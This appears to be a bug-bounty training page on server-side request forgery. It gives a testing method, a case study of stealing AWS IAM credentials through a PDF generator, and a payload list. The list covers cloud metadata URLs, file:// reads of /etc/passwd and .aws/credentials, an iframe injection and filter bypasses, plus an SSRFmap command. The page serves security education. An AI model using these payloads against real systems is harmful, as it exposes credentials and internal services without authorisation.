Server-Side Request Forgery (SSRF)
Making the server issue requests to internal destinations
Quick answer
What is Server-Side Request Forgery?
SSRF lets you force the backend server to make HTTP requests to arbitrary destinations: internal services, cloud metadata, private networks. It's especially critical in cloud environments because of access to IAM credentials.
Severity
Critical
Frequency
Common
Payloads
11
Steps
6
Severity
Critical
Frequency
Common
Payloads
11
SSRF exploits any feature where the server makes requests based on user input. The impact ranges from reading internal files to full RCE if you reach cloud credentials or chain it with other bugs.
Where to look
URL imports
'Import from URL', 'link preview', 'fetch remote image' features.
Webhooks
Webhook configuration where the user controls the destination URL.
PDF generation
HTML-to-PDF generators (wkhtmltopdf, Puppeteer). The engine renders HTML and fetches resources.
Avatars/thumbnails
Uploading an image via URL instead of a file. The server downloads the image.
Integration APIs
Any endpoint where you submit a URL the server processes internally.
Methodology
Identify URL parameters
Look for parameters: url=, src=, href=, webhook=, callback=, redirect=, link=, feed=
Try localhost
Send http://127.0.0.1, http://localhost, http://[::1] — check whether the response changes.
Try cloud metadata
http://169.254.169.254/latest/meta-data/ (AWS), http://metadata.google.internal/ (GCP)
Confirm with an external server
Use Burp Collaborator or webhook.site. If you get the request → SSRF confirmed.
Try filter bypasses
Decimal IP, IPv6, DNS rebinding, redirect chains, URL encoding.
Escalate
From SSRF to: reading IAM credentials, scanning internal ports, reaching internal databases.
Real-world case
SSRF via PDF generation → LFI → AWS credentials
Find the PDF feature
The app generates invoices/receipts as PDF. The content comes from HTML rendered on the server.
Inject HTML
In a field that appears on the invoice, inject: <iframe src='http://169.254.169.254/latest/meta-data/'>
HTML entities decoded
The field is escaped in the frontend (<), but the PDF generator decodes the entities when rendering.
Reading metadata
The generated PDF contains the AWS metadata: IAM role, security credentials, temporary token.
Escalation
With the temporary IAM credentials, access to S3, RDS, or any configured service.
Lesson: PDF generators are internal browsers. Any HTML they process can make internal requests. Always test SSRF in export/PDF features.
Payloads
Localhost
http://127.0.0.1 | http://localhost | http://[::1]
AWS Metadata
http://169.254.169.254/latest/meta-data/
AWS IAM Credentials
http://169.254.169.254/latest/meta-data/iam/security-credentials/
GCP Metadata
http://metadata.google.internal/computeMetadata/v1/?recursive=true
DigitalOcean Metadata
http://169.254.169.254/metadata/v1/
Advanced payloads(account required)
Decimal IP bypass
http://2130706433 (= 127.0.0.1 en decimal)
IPv6 bypass
http://[0:0:0:0:0:0:0:1] | http://[::ffff:127.0.0.1]
DNS rebinding
Servicio que alterna entre tu IP pública y 127.0.0.1 cada ~2 segundos
Redirect chain
Tu servidor responde 302 Location: http://169.254.169.254/latest/meta-data/
SSRF via PDF iframe
<iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" width="800" height="500">
File protocol
file:///etc/passwd | file:///proc/self/environ | file:///home/user/.aws/credentials
Exclusive content
Create your free account to access advanced payloads, scripts and bypass techniques
Create free accountTools
Burp Collaborator
A server that detects any incoming request — confirms blind SSRF.
Burp → Collaborator → Copy to clipboard
webhook.site
Free alternative to Collaborator. Generates a unique URL that logs every request.
https://webhook.site/
SSRFmap
Automates SSRF exploitation: file reads, port scanning, cloud metadata.
python3 ssrfmap.py -r request.txt -p url -m readfiles
Tips
PDF generation = SSRF
Any app that generates PDFs from HTML probably uses an engine that can make internal requests.
Always test cloud metadata
If the app runs on AWS/GCP/Azure, the metadata endpoint can expose IAM credentials with full access.
Scan internal ports
Use SSRF to map services: try ports 22, 80, 443, 3306, 5432, 6379, 8080, 9200.
SVG bypasses validation
If the server validates image magic bytes, SVG passes because it's text. Use SVG as an SSRF container.
Contenido relacionado
- hunters training
- 650
- labs from real reports
- 50
- completions
- 380
- in bounties practiced
- $200,000
hunters training
labs from real reports
completions
in bounties practiced
Practice Server-Side Request Forgery with real labs
Apply these techniques in safe environments based on real bug bounty reports.